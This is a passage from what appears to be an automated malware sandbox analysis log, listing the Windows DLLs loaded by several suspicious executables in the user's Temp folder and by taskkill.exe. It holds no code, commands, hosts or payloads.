Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: profapi.dll
